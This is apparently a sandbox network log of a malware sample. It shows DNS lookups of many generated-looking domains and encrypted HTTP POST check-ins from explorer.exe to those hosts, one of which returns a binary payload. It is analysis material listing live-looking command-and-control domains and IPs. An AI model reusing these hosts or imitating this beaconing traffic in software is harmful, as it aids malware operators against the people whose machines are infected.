Dec 19, 2023 03:22:38.762114048 CET	192.168.2.4	1.1.1.1	0xb0c9	Standard query (0)	shpilliwilli.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:39.760251045 CET	192.168.2.4	1.1.1.1	0xb2e3	Standard query (0)	linkofstrumble.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:43.555401087 CET	192.168.2.4	1.1.1.1	0x9cee	Standard query (0)	cream.hitsturbo.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:58.614953041 CET	192.168.2.4	1.1.1.1	0xb820	Standard query (0)	neighborhoodfeelsa.fun	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:03.497610092 CET	192.168.2.4	1.1.1.1	0xda8b	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:04.505023956 CET	192.168.2.4	1.1.1.1	0xda8b	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.503458023 CET	192.168.2.4	1.1.1.1	0xda8b	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:29.787631035 CET	192.168.2.4	1.1.1.1	0x8c95	Standard query (0)	diagramfiremonkeyowwa.fun	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:45.395174026 CET	192.168.2.4	152.89.198.214	0x4d6c	Standard query (0)	bfaausp.com	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.592187881 CET	192.168.2.4	1.1.1.1	0xeb40	Standard query (0)	humydrole.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2023 03:22:16.009377003 CET	1.1.1.1	192.168.2.4	0x50b	Name error (3)	onualituyrs.org	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:16.194341898 CET	1.1.1.1	192.168.2.4	0xb2e6	No error (0)	sumagulituyo.org		34.94.245.237	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:16.871738911 CET	1.1.1.1	192.168.2.4	0x937b	No error (0)	snukerukeutit.org		104.198.2.251	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:17.597012997 CET	1.1.1.1	192.168.2.4	0xdcde	No error (0)	lightseinsteniki.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:18.948882103 CET	1.1.1.1	192.168.2.4	0xc762	No error (0)	liuliuoumumy.org		34.143.166.163	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:20.276957035 CET	1.1.1.1	192.168.2.4	0x1a43	No error (0)	stualialuyastrelia.net		91.215.85.17	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:27.580792904 CET	1.1.1.1	192.168.2.4	0xb244	No error (0)	dayfarrichjwclik.fun		172.67.174.181	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:27.580792904 CET	1.1.1.1	192.168.2.4	0xb244	No error (0)	dayfarrichjwclik.fun		104.21.80.57	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.53.230.67	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.171.233.126	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		186.182.55.44	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.119.84.112	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		186.147.159.149	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.168.53.110	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		187.134.52.10	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046102047 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.53.230.67	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.171.233.126	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		186.182.55.44	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.119.84.112	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		186.147.159.149	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.168.53.110	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		187.134.52.10	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046116114 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.53.230.67	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.171.233.126	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		186.182.55.44	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		190.12.87.61	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.119.84.112	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		186.147.159.149	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		211.168.53.110	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		187.134.52.10	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:34.046159029 CET	1.1.1.1	192.168.2.4	0x514a	No error (0)	ftpvoyager.cc		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:38.955394983 CET	1.1.1.1	192.168.2.4	0xb0c9	No error (0)	shpilliwilli.com		104.21.45.142	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:38.955394983 CET	1.1.1.1	192.168.2.4	0xb0c9	No error (0)	shpilliwilli.com		172.67.215.49	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:39.894233942 CET	1.1.1.1	192.168.2.4	0xb2e3	No error (0)	linkofstrumble.com		172.67.185.93	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:39.894233942 CET	1.1.1.1	192.168.2.4	0xb2e3	No error (0)	linkofstrumble.com		104.21.88.149	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:43.715295076 CET	1.1.1.1	192.168.2.4	0x9cee	No error (0)	cream.hitsturbo.com		104.21.46.59	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:43.715295076 CET	1.1.1.1	192.168.2.4	0x9cee	No error (0)	cream.hitsturbo.com		172.67.168.30	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:58.748938084 CET	1.1.1.1	192.168.2.4	0xb820	No error (0)	neighborhoodfeelsa.fun		104.21.87.137	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:22:58.748938084 CET	1.1.1.1	192.168.2.4	0xb820	No error (0)	neighborhoodfeelsa.fun		172.67.143.130	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		187.211.38.89	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		201.218.66.48	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		210.182.29.70	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824352980 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		187.156.96.226	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		187.211.38.89	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		201.218.66.48	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		210.182.29.70	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824387074 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		187.156.96.226	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		187.211.38.89	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		201.218.66.48	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		210.182.29.70	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:05.824476004 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	humydrole.com		187.156.96.226	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:29.921525002 CET	1.1.1.1	192.168.2.4	0x8c95	No error (0)	diagramfiremonkeyowwa.fun		172.67.183.217	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:29.921525002 CET	1.1.1.1	192.168.2.4	0x8c95	No error (0)	diagramfiremonkeyowwa.fun		104.21.18.224	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:23:45.667690039 CET	152.89.198.214	192.168.2.4	0x4d6c	No error (0)	bfaausp.com		185.196.8.22	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		210.182.29.70	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		195.158.3.162	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		190.224.203.37	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		187.211.38.89	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		201.218.66.48	A (IP address)	IN (0x0001)	false
Dec 19, 2023 03:25:46.718048096 CET	1.1.1.1	192.168.2.4	0xeb40	No error (0)	humydrole.com		187.156.96.226	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	34.94.245.237	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:16.456557035 CET	275	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wyjwjdolomfsle.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: sumagulituyo.org
Dec 19, 2023 03:22:16.456557035 CET	112	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 b9 d9 41 ab Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bOAgzg.RUyX"
Dec 19, 2023 03:22:16.717848063 CET	422	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 19 Dec 2023 02:22:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=36cab7c95acd5f49e2a1fd9cd10a3931\|102.129.152.212\|1702952536\|1702952536\|0\|1\|0; path=/; domain=.sumagulituyo.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	104.198.2.251	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:17.143933058 CET	275	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ldqyfbygrhcss.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 308 Host: snukerukeutit.org
Dec 19, 2023 03:22:17.143971920 CET	308	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 ff a7 55 c6 Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bOU1\|RYE{`Qs'N.k4R{odxeN6#NIH*sQ\|D/J;u'U$/2V\TACK k+&K;hg:
Dec 19, 2023 03:22:17.419332027 CET	423	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 19 Dec 2023 02:22:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=185dcfc4a5498e0769df94095b7cdb18\|102.129.152.212\|1702952537\|1702952537\|0\|1\|0; path=/; domain=.snukerukeutit.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	34.143.166.163	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:18.181025028 CET	277	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uaojclncoprr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 277 Host: lightseinsteniki.org
Dec 19, 2023 03:22:18.181070089 CET	277	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 ac fd 51 a3 Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bOQk%rKZH9)sz=VEfS*rmp1E;q-1CE3MQ6jGRVBkWz%,FxJ8@"
Dec 19, 2023 03:22:18.761135101 CET	426	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 19 Dec 2023 02:22:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6d7ee060d1d0a6b1718ad09dde740434\|102.129.152.212\|1702952538\|1702952538\|0\|1\|0; path=/; domain=.lightseinsteniki.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	34.143.166.163	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:19.549226999 CET	273	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ldjwcirsqyxk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: liuliuoumumy.org
Dec 19, 2023 03:22:19.549243927 CET	156	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 a9 de 0b a4 Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bO`-5<hx5Ke;`pA)@;CLJFc7q/W
Dec 19, 2023 03:22:20.146143913 CET	422	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 19 Dec 2023 02:22:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a46d5041f6c2c6f6f1b457406ae3b61f\|102.129.152.212\|1702952539\|1702952539\|0\|1\|0; path=/; domain=.liuliuoumumy.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:22:20.547991991 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ohqyipqpkvia.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: stualialuyastrelia.net
Dec 19, 2023 03:22:20.548027039 CET	344	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 86 a3 4a e2 Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bOJs/> =\\|T/t^C?BY2<)3tV3L]R5TFdo_:9/~bvIc\^e){'=*]B]1aIIS
Dec 19, 2023 03:22:20.835120916 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:22:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 18 00 00 00 1f 3d 53 a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 8b 3e 6c 0d a7 1b 52 86 af 2f 77 aa 83 0a 43 00 39 77 0d e0 2f 81 e6 89 73 59 a7 7d 68 54 09 6d 9a 1d 31 84 ec ba e2 a7 40 9f 98 15 d4 f0 30 2a 63 2f 26 3c c7 4d 8c 99 39 6c 3d 53 47 c2 9e 39 be 29 8d 28 26 61 f2 3c 8d ce 02 b5 cf 78 62 e5 a5 c1 90 5c 2d ab ee 05 93 38 52 fe 4e 35 05 dc 44 49 ab a0 3f 72 54 62 f6 a4 60 d1 17 4b 2b 97 4b 52 9a 18 6b 6f 52 3a dc ee 4b ce a5 5c 42 10 ea f6 7a fe 3c b9 4c 8c 72 cf 3f 43 a1 b2 6f 0a 0a ca 4e 25 6f 4c 3a 3d b2 5c e8 84 fd bc 6d e2 dc a1 a7 f4 73 93 20 fc 0c 82 88 12 f7 a3 ef 06 14 ad 02 3a 46 8a 0d a9 07 fa 67 45 f6 23 fc 4b 2c be 78 bf 55 36 4c 3d f5 3c 42 3e 7d e8 28 7a 3a 34 d7 41 b4 90 2c a6 59 58 e5 62 09 eb 95 5a b7 ba c5 09 16 be 03 bb 2b 37 b1 3e a1 b3 1b c7 8b ef 77 04 77 3f 6c df 89 82 9b 28 97 e9 b0 ea 24 de c0 49 60 55 8c df 1a 73 e8 78 31 3e 8b 58 94 82 3e 37 59 63 c3 36 e3 3a 2f b3 b6 09 fb 7f f3 8f 1b fc 26 28 bc fd 33 3f 89 5e bf f1 0e 63 62 99 63 9d 20 36 fe f0 a2 86 2c 4b 78 f2 b4 2c d4 ce 13 c4 2d ca 95 3a d9 64 6d 54 b3 5c 76 2c 4e 89 f7 3d 58 4d f5 12 8b 75 0c f8 cd 2b 7d 30 c0 2b fe 21 2a 7f 15 6d 3f 16 9e 01 b5 69 eb 9d ed 8d ee 41 d5 45 24 19 4b 1f 52 f1 9d 79 17 9b a4 e5 ab ea fc 39 44 e6 f0 63 b3 34 62 01 f0 92 0e 5e fc fd 8a c8 9b 10 5f 47 d8 54 31 a2 2b c6 4d 36 cd 60 df d8 4f c5 44 25 78 20 ef 1b 08 ad 5d 35 d1 7a 05 c7 57 dd b3 46 91 4a 01 92 a0 31 f3 b6 5f 99 74 c0 c9 f3 12 b1 02 66 86 b1 ad f1 8b 14 d9 ea 1a 24 e9 4e d1 15 f3 a9 1c c4 16 d5 e6 00 a7 09 17 b6 de 40 6b c3 fd cf f3 3b 5b 4a 76 fb 4d fa 6a d1 2c c1 e0 7e 1b 2b c0 11 6e b8 9d 9a fa 03 03 c5 6c 91 63 12 49 53 b1 0f 30 36 77 1f f7 e6 87 ad 05 de 93 db fc 4e f1 69 be e5 e3 9e e3 56 da ef ef 8a c8 40 39 ae 15 4f ce b3 12 7c 8e 6a 18 41 66 35 99 7e 83 84 08 cd ee cf cd 9b da 0d 58 73 6c 8a 96 03 37 fa 43 43 fe a8 50 75 48 e9 60 17 4c aa 25 df a1 a9 6a b9 d6 d6 a4 62 e8 a9 b7 76 79 f1 50 93 7c 2c e6 d0 49 56 e1 d6 47 59 19 7d 27 84 22 66 13 de 9e 1f a0 7c 85 2b dc ef 24 3b 92 33 8d a6 52 d2 8e 29 80 d0 f3 4f b5 e2 72 22 4d 9a 70 ea 84 bd 7e 69 94 5b c4 f6 01 42 7c ee a7 84 cd 7a 58 39 62 79 cf f7 6f e9 d6 eb 85 59 0e 75 06 d1 04 8d d7 af 40 60 76 57 c4 2d 70 c6 b0 57 ad 50 f1 57 80 a0 a2 04 10 a1 2f 49 6d 26 b4 91 24 df 14 8f b6 65 b1 49 70 9f 31 03 96 8c 54 0a 5b 2c 95 a1 8e bd 1f f3 f5 56 7e 79 48 59 a9 3d 78 ed 6f 4f 33 13 20 7a ad f0 83 08 17 2f f1 27 a6 d0 f2 c0 9d 2a 19 c8 4b 73 42 fb 6d 8e 46 46 5e 76 11 29 3e c1 4b 58 80 22 17 75 a5 9a cb a2 29 73 76 ff 45 a7 3e 33 23 bd eb 32 16 b9 e2 67 6e f1 5c 47 79 b8 5a de 69 7e 2e bf 3c 4d bb fb 2a 1b c5 0c e4 c6 60 15 56 38 18 d5 f9 83 7f a0 63 2f 